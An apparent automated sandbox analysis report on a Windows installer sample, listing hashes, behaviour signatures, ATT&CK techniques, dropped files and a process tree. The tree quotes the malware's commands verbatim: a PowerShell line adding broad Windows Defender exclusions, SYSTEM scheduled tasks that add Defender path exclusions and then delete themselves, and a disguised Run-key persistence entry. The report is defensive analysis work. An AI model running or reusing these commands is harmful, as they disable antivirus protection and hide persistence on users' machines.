d43dc989b04867aa4e23fc7c42aee275d07f9f13814056ea5f7d8b4e9d626269

Analysis

max time kernel
146s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 03:38

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General

Target
inst_smt011.exe
Size 55.2MB
Sample260805-d6341sch44
SHA256 d43dc989b04867aa4e23fc7c42aee275d07f9f13814056ea5f7d8b4e9d626269
MD5 26ad48919657b2806be93fae95161323
SHA1 8fd53246ddb449fe8aa34a556076f077a0707c7c
SHA512 27d24000274a95d746852d7c55c28ef2a33e25f86c325ebfb7ba500d5cc60ceff03081a34de3798debeff0879ff2c1dd50f944f5b3287a7b94616727d9f139ee
SSDEEP 196608:gnnmbV2qWwRNTc+u1aZfO8pP+QDhb6Z/LzEnSQ5Ps6E:6SRe9QDk
TLSH
T1E2C78406F702899AD4799338488B4F91B372ECF14AB6972323B8733D2EFA35C5E91545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4872	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3240	P02Uzo.exe

Loads dropped DLL 1 IoCs

pid	Process
3240	P02Uzo.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\fMsQVN\\P02Uzo.exe\""	P02Uzo.exe

Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5816	cmd.exe
4424	cmd.exe
2800	cmd.exe
4564	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	P02Uzo.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1456	cmd.exe
2204	cmd.exe
4496	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2340	schtasks.exe
2580	schtasks.exe
3736	schtasks.exe
6016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3572	inst_smt011.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe
3240	P02Uzo.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe
"C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3572

C:\Users\Public\fMsQVN\P02Uzo.exe
"C:\Users\Public\fMsQVN\P02Uzo.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fMsQVN\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5816
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\fMsQVN\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4424
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4564
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6016
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5140

C:\Users\Public\fMsQVN\P02Uzo.exe
"C:\Users\Public\fMsQVN\P02Uzo.exe"
1⤵
PID:3300

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\fMsQVN" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1456

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1760

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2204

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

P02Uzo.exe

Path C:\Users\Public\fMsQVN\P02Uzo.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\fMsQVN\UxEnhance64.dll
Size 3.1MB
SHA256 370cd6b56c465123e688d1f46351775e368e09db9959de0a04ebb4f6d26ec53c
MD5 86ae8322a5ccd8c329422313a1a25cb2
SHA1 27c3b925d05ae5385b491e2af09aeafd4c1d1134
SHA512 083fa312c356831a735e740d5c4a231a6c843109a46a7ae31cd6749fa2cff7a27b8b71f264743d0a007f4ddd116232ca80dc6ee24d956143d315d0c0374962db
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+B:P9m29xx3Tiqt06ox6+z2rNNrKoB
TLSH
T1CCE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\fMsQVN\adoresd.dat
Size 4.7MB
SHA256 4350c823b8cd1076c2b3eb8b38e432b08f0f5544c77e2237564c6f673995a3e2
MD5 f1911d7406acb31de7bbcd5c87d5ba79
SHA1 46a95b4b1674b390f0d831b1e9f5ee02c0b83e13
SHA512 78f444bd4c60412fa8985814fc54ff090100ba6b19ecfe65c49d57c5307a6a2df996f49591307240e3a97b29b9d535664b9557aae231bbc96776a39b943f4298
SSDEEP 98304:Imu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:zu1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1A43633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\fMsQVN\msadox.tb
Size 8KB
SHA256 6be600549c0e95be77e0cc872b5f30afdf5a48514220d08edc63f5f2e58f7164
MD5 9c89933218d6e8145ab1ead3eb817699
SHA1 6778678cb2330cef1e12439551e1143ae92f86eb
SHA512 a9bfe6cb905c9d61c7e32df5b5268c583a6ea6d14f64abbb4aaba3f310fea2d1050946bb582e02aa1d4eb5b2494994fbb84454f56f3c6cbd7ab10f69991db59d
SSDEEP 192:oqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:osZqZOXQ3uqvR2Kfzp
TLSH
T166029E06D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3240-550-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-560-0x00000227474E0000-0x000002274756A000-memory.dmp

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memory/3240-566-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-530-0x00007FF885210000-0x00007FF885212000-memory.dmp

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memory/3240-531-0x00007FF8625A0000-0x00007FF862ABE000-memory.dmp

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memory/3240-565-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-563-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-536-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-538-0x00007FF885220000-0x00007FF885222000-memory.dmp

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memory/3240-539-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-543-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-544-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-545-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-546-0x0000022747F30000-0x00000227487C1000-memory.dmp

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memory/3240-556-0x0000022747400000-0x000002274744E000-memory.dmp

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memory/3240-557-0x00000227474E0000-0x000002274756A000-memory.dmp

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memory/3240-559-0x00000227474E0000-0x000002274756A000-memory.dmp

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memory/3240-558-0x00000227474E0000-0x000002274756A000-memory.dmp

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memory/3300-583-0x0000028947470000-0x0000028947D01000-memory.dmp

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memory/3300-584-0x0000028947470000-0x0000028947D01000-memory.dmp

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memory/3300-585-0x0000028947470000-0x0000028947D01000-memory.dmp

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memory/3300-579-0x0000028947470000-0x0000028947D01000-memory.dmp

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memory/3300-586-0x0000028947470000-0x0000028947D01000-memory.dmp

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memory/3300-572-0x00007FF8625A0000-0x00007FF862ABE000-memory.dmp

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memory/3300-578-0x00007FF885220000-0x00007FF885222000-memory.dmp

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memory/3300-587-0x00007FF885210000-0x00007FF885212000-memory.dmp

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memory/3300-575-0x0000028947470000-0x0000028947D01000-memory.dmp

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memory/3572-525-0x00007FF87CFD0000-0x00007FF87CFE2000-memory.dmp

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memory/3572-0-0x0000000000490000-0x000000000049D000-memory.dmp

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memory/3572-524-0x0000000000490000-0x000000000049D000-memory.dmp

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memory/3572-503-0x00007FF87CFD0000-0x00007FF87CFE2000-memory.dmp

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memory/3572-1-0x0000000005710000-0x000000000571B000-memory.dmp

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